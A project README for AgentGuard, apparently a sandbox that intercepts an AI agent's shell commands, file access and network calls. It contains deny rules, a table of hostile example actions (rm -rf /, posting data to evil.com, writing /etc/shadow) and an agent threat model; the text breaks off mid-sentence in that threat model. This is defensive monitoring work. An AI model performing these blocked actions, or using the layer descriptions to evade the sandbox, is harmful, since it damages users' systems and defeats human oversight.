AgentGuard
No description available
Install / Use
/learn @ThodorisTsampouris/AgentGuardREADME
AgentGuard
Zero-trust sandbox for autonomous AI agents.
AgentGuard wraps any AI agent (LangChain, CrewAI, AutoGen, custom scripts) with safety rails. One command change:
# Before (dangerous — agent has full system access)
python my_agent.py
# After (sandboxed)
agentguard run -- python my_agent.py
AgentGuard intercepts every shell command, file modification, and network request the agent makes. Safe actions are auto-allowed, dangerous actions are auto-blocked, and everything else prompts the human for approval.
How It Works
AgentGuard has four defense layers that work together:
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: Filesystem Jail (sandbox-exec on macOS) │
│ Kernel-level enforcement. Restricts file writes and │
│ network at the syscall level. Agent cannot bypass from │
│ userspace. Blocks Python's open(), requests.post(), etc. │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: Network Proxy │
│ Transparent HTTP/HTTPS proxy. Every network call the │
│ agent makes is checked against the policy. Per-destination │
│ allow/deny with full visibility in the TUI. │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: PATH Shims │
│ Shell script shims that intercept commands like git, │
│ pip, curl, rm. Each shim asks the daemon for permission │
│ before running the real binary. │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: Policy Engine + Approval Daemon │
│ YAML-based rules evaluate every intercepted action. │
│ Auto-allow safe commands, auto-block dangerous ones, │
│ prompt the human for everything else. │
└─────────────────────────────────────────────────────────────┘
No single layer is the security boundary. They work together — defense in depth.
Quick Start
Build
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
Both binaries must be in the same directory.
Create a Policy
agentguard init
This creates .agentguard/policy.yaml in the current directory. Edit it to match your needs.
Run an Agent (Interactive TUI)
agentguard run -- python my_agent.py
The TUI takes over the terminal and shows:
- Live activity stream (every intercepted action)
- Approval prompts for ambiguous commands (press Y/N/A/B)
- Network allow/deny events from the proxy
- Sandbox violation events
- Agent stdout/stderr (toggle with Tab)
Run an Agent (Headless)
For interactive tools like Claude Code that need the terminal:
agentguard run --headless -- claude
The agent gets the terminal directly. AgentGuard runs silently in the background. All events are logged to ~/.agentguard/logs/headless.log. Monitor in another terminal:
tail -f ~/.agentguard/logs/headless.log
CLI Reference
agentguard run [flags] -- <command> [args...]
--policy <path> Use a specific policy file
--headless No TUI — agent gets the terminal
--default-allow Auto-allow PROMPT decisions in headless mode (default: auto-deny)
--no-sandbox Disable sandbox-exec (shims and proxy still active)
agentguard init Create a default policy file
agentguard version Print version
Policy File
Policies are YAML files that define what the agent can and cannot do. AgentGuard checks three locations (in order):
./.agentguard/policy.yaml(project-local)~/.agentguard/policy.yaml(user global)- Built-in defaults
Example Policy
version: 1
deny:
# Block dangerous commands
- command: "rm"
args: "-rf *"
reason: "Recursive forced deletion is too dangerous"
- command: "sudo"
args: "*"
reason: "Privilege escalation is not allowed"
- command: "chmod"
args: "777 *"
reason: "World-writable permissions are dangerous"
# Block reading sensitive files (enforced by sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "Don't let agent read .env files"
- file:
path: "*.pem"
action: "read"
reason: "Don't let agent read private keys"
allow:
# Safe read-only commands
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Read-only git
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Allow writes to workspace
- file:
path: "/tmp/workspace/**"
action: "write"
# Allow specific API endpoints
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
Rule Evaluation Order
- Specific deny rules — checked first. If matched, action is blocked immediately.
- Allow rules — checked second. If matched, action is permitted.
- Catch-all deny rules (e.g.
deny network *) — checked third. Acts as a default deny. - No match — the human is prompted (TUI) or auto-denied (headless).
Rule Types
Command rules — match shell commands by name and argument pattern:
- command: "git"
args: "push *"
reason: "Pushing requires approval"
File rules — match file operations (enforced by sandbox-exec):
- file:
path: "*.env"
action: "read" # "read" or "write"
reason: "Protect secrets"
Network rules — match network destinations (enforced by proxy + sandbox-exec):
- network:
destination: "api.anthropic.com:443"
Use * as a wildcard in command args, file paths, and network destinations.
TUI Controls
| Key | Action | When |
|-----|--------|------|
| Y | Allow the pending request | Approval prompt visible |
| N | Deny the pending request | Approval prompt visible |
| A | Allow + remember for this session ("Always Allow") | Approval prompt visible |
| B | Deny + remember for this session ("Block Forever") | Approval prompt visible |
| Tab | Toggle agent stdout/stderr panel | Always |
| Up/Down | Scroll activity stream | Always |
| Q | Quit (kills the agent) | Always |
What Each Layer Catches
| Agent action | Shims | Proxy | sandbox-exec |
|---|---|---|---|
| subprocess.run(["rm", "-rf", "/"]) | Yes | - | - |
| subprocess.run(["git", "push"]) | Yes | - | - |
| requests.post("https://evil.com") | - | Yes | Yes |
| urllib.request.urlopen("https://api.com") | - | Yes | Yes |
| open(".env", "r") | - | - | Yes |
| open("/etc/shadow", "w") | - | - | Yes |
| /usr/bin/curl https://evil.com (absolute path) | - | Yes | Yes |
Architecture
agentguard/
├── cmd/
│ ├── agentguard/ # Main CLI binary
│ └── agentguard-check/ # Shim helper binary
├── internal/
│ ├── policy/ # Policy engine (YAML parsing, rule evaluation)
│ ├── events/ # Event system (JSONL audit log, pub/sub)
│ ├── daemon/ # Central daemon (Unix socket, approval queue)
│ │ └── client/ # Client library for shims
│ ├── shim/ # Shim generator (PATH-based interception)
│ ├── proxy/ # Transparent network proxy
│ ├── spawner/ # Orchestration + macOS sandbox integration
│ └── ui/tui/ # Terminal UI (Bubble Tea)
├── configs/
│ └── default_policy.yaml # Reference policy file
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
Component Overview
| Component | Package | Purpose |
|---|---|---|
| Policy Engine | internal/policy | Parses YAML rules, evaluates requests → ALLOW / DENY / PROMPT |
| Event System | internal/events | Append-only JSONL audit log + real-time pub/sub for TUI |
| Daemon | internal/daemon | Unix socket server, approval queue with timeouts, session management |
| TUI | internal/ui/tui | Bubble Tea terminal UI with activity stream and approval modal |
| Shim Generator | internal/shim | Generates shell script shims, resolves real binary paths |
| Network Proxy | internal/proxy | Transparent HTTP/HTTPS proxy enforcing per-destination policy |
| Spawner | internal/spawner | Orchestrates everything: policy → daemon → shims → proxy → sandbox → agent → TUI |
| macOS Sandbox | internal/spawner/jail_darwin.go | sandbox-exec with Seatbelt profiles for kernel-level enforcement |
Audit Log
Every intercepted action is logged to ~/.agentguard/logs/YYYY-MM-DD.jsonl:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
Query with standard tools:
# All denied actions today
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# All network requests
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# Commands that required human approval
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
Platform Support
| Platform | Shims | Proxy | sandbox-exec | File read deny | |---|---|---|---|---| | macOS (Apple Silicon) | Yes | Yes | Yes | Yes | | macOS (Intel) | Yes | Yes | Yes | Yes | | Linux | Yes | Yes | No (future: namespaces + seccomp) | No | | Windows | Yes | Yes | No (future: Job Objects) | No |
Security Model
Threat model: The agent is untrusted. It may try to:
- Execute dangerous commands (
rm -rf /,sudo) - Exfiltrate data via network calls
- Read sensitive files (
.env, private keys) - Bypass the sandbox via ab
